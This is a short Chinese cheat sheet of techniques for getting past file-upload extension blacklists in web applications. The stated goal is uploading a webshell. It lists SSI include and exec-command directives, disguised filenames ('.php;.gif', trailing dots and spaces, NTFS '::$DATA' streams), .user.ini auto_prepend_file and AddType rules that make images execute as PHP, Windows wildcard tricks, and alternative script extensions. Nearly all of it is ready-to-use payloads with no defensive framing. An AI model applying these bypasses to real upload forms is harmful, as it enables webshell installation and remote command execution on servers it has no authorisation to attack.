當做代碼的審計或者文件搞滲文章上傳的時候有時候會遇到黑名單的驗證碼,比如常規的一些腳本名asp php jsp這種的不允許上傳,下面是我總結的一些繞過的方法
<!--#includefile="/home/www/user8534/nav_foot.htm"--> //可以用來讀文件
<!--#exec cmd="ifconfig"--> //可以用來執行命令
sanr.php;.gif
sanr.asp;.jpg
sanr.asp/sanr.jpg
User.ini
auto_prepend_file:指定在每個PHP頁面執行前所要執行的代碼
auto_prepend_file=demo.gif (每個頁面都會加載demo.gif)
AddTypeapplication/x-httpd-php .jpg
利用空格 demo.php空格
小數點去繞過 demo.php.
Ads數據流 demo.php::$DATA
Ads數據流(但文件是空) demo.php:jpg
Window通配符 demo.<<< 兩者相結合拿到webshell
Tips:直接用3就可以 只不過延伸下window通配符的方法
Window通配符可以在包含文件的時候包含c:window/temp目錄臨時php文件(文件包含本地測試成功 但是實際***很少成功 因為session文件也是php開頭 如同時匹配多個文件以php開頭的這種,會拿到第一個php文件,不確保是自己上傳的臨時文件)
aSp pHp JsP
Asp:asa cer cdx
Aspx: ashx asmx ascx
Php: php3 phtml
Jsp: jspx jspf
sanr.php.xxxxxx
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。